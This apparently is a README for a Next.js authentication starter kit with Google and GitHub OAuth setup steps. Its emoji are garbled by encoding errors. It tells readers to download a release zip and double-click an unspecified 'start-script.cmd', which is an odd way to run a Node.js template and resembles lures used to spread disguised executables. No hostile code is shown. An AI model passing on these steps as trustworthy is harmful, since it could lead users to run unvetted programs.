๐ NEXT-NEXT_AUTH-STARTER-kit - Simple Authentication Made Easy
๐ Getting Started
Welcome to the NEXT-NEXT_AUTH-STARTER kit! This is a ready-to-use template for building applications using Next.js with authentication support. It features Google and GitHub login options, protected routes, and a sleek UI thanks to Tailwind CSS.
๐ Download Here

๐ What You Need
Before you start, ensure your computer meets these requirements:
- Operating System: Windows, macOS, or Linux
- Node.js Version: 14 or higher
- Internet Connection: Needed for installation and updates
- Basic Software: A code editor like Visual Studio Code (optional, but recommended)
๐ฅ Download & Install
- Visit this page to download.
- Look for the latest release version.
- Click on the download link for the application. You should receive a file that looks similar to
NEXT-NEXT_AUTH-STARTER-kit-v1.0.zip.
- Locate the downloaded file on your computer.
๐ Unzip the File
- Find the zip file you just downloaded.
- Right-click on the file.
- Select โExtract All,โ then follow the prompts to unzip the contents. You should see a folder that contains the application files.
โ๏ธ Running the Application
- Open your file explorer and locate the new folder created during extraction.
- Inside that folder, find a file named
start-script.cmd (or similar) and double-click it. This will open a command prompt window that runs the application.
- Wait for the application to load. Once ready, it will display a message with your local URL, usually
http://localhost:3000.
๐ Setting Up Authentication
Google OAuth
- Go to the Google Developer Console.
- Create a new project or select an existing one.
- Navigate to โCredentialsโ and then โCreate Credentials.โ
- Choose โOAuth client ID.โ
- Set up the screen by providing required information.
- Add
http://localhost:3000/api/auth/callback/google as an authorized redirect URI.
GitHub OAuth
- Visit the GitHub Developer settings page.
- Click on โOAuth Appsโ then โNew OAuth App.โ
- Fill out the required information.
- Set the homepage URL to
http://localhost:3000 and the authorization callback URL to http://localhost:3000/api/auth/callback/github.
- Click โRegister application.โ
๐จ Customizing Your App
- In the unzipped folder, look for a
config.json file.
- Open it in your code editor.
- Update the values for Google and GitHub Client IDs and secrets that you received from their respective console settings.
- Save the file.
๐ Resources
- Documentation: Comprehensive guides are available in the
/docs folder within the download.
- Video Tutorials: Check out our playlist on YouTube for step-by-step instructions.
- Community Support: Join our community on Discord for help and collaboration.
๐ Need Help?
If you encounter any issues during setup or usage:
- Please refer to the โIssuesโ section on GitHub for common problems and solutions.
- You can also create a new issue if your problem isnโt listed.
๐ Features
- Simple setup with minimal configuration.
- OAuth support for both Google and GitHub.
- Protected routes to secure parts of your application.
- Built with TypeScript for strong typing and better development experience.
- Customizable UI using Tailwind CSS.
๐ Additional Links
๐ Final Thoughts
With the NEXT-NEXT_AUTH-STARTER kit, you can easily create applications with secure login options. Follow these steps, and youโll have your application up and running in no time.